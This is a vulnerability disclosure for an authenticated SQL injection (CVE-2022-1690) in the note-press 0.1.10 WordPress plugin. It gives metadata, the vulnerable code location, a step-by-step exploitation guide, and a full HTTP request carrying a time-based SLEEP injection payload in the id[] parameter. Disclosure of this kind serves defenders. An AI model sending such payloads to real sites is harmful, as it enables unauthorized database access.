(3/3) note-press 0.1.10 WordPress plugin SQL injection
Vulnerability Metadata
Key | Value |
---|---|
Date of Disclosure | May 09 2022 |
Affected Software | note-press |
Affected Software Type | WordPress plugin |
Version | 0.1.10 |
Weakness | SQL Injection |
CWE ID | CWE-89 |
CVE ID | CVE-2022-1690 |
CVSS 3.x Base Score | 2.7 |
CVSS 2.0 Base Score | 4.0 |
Reporter | Daniel Krohmer, Shi Chen |
Reporter Contact | daniel.krohmer@iese.fraunhofer.de |
Link to Affected Software | https://wordpress.org/plugins/note-press |
Link to Vulnerability DB | https://nvd.nist.gov/vuln/detail/CVE-2022-1690 |
Vulnerability Description
The id[]
query parameter array in note-press 0.1.10 is vulnerable to SQL injection. An authenticated attacker may abuse the delete
bulk action functionality of the plugin to craft a malicious GET request.
Exploitation Guide
Login as admin
user. This attack requires at least admin
privileges.
Go to Note Press
.
Choose an arbitrary Title
and click on Add Note
.
Add another, second note.
Select multiple Notes and choose Delete
in the Bulk actions
menu. Then, hit Apply
.
Clicking the previous button triggers the vulnerable request. Any of the id[]
query parameters is vulnerable.
A POC may look like the following request:
In the code, the vulnerability is triggered by unsanitized user input of id
at line 1142 in ./admin/Note_Press-admin-menu.php
. The final database query is called at line 1036 of the same file.
Exploit Payload
Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work. The SQL injection can be triggered by sending the request below.
GET /wp-admin/admin.php?page=Note_Press-Main-Menu&_wpnonce=e4ee1ce89d&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3DNote_Press-Main-Menu&action=delete&paged=1&id%5B%5D=18+AND+(SELECT+3630+FROM+(SELECT(SLEEP(5)))KdTt)&id%5B%5D=19&action2=delete HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/admin.php?action=Add&page=Note_Press-Main-Menu
DNT: 1
Connection: close
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=admin%7C1651827877%7C93i22K3S8WqFD892zcV4jyN07JMamrPDIjvembDZTX4%7C2a5effdfc3e78d8a37a923c62d7ea8428e3e7719c7384c3d20df1c959601647f; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1651827877%7C93i22K3S8WqFD892zcV4jyN07JMamrPDIjvembDZTX4%7C0577482154b4bf69dbd69b8d96d68dc227bfb657948ce4ffc3ee461d8928b62b; wp-settings-1=editor%3Dtinymce%26amplibraryContent%3Dbrowse%26wd_ads_manage_groups_tab%3Dpop; wp-settings-time-1=1651655077;
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1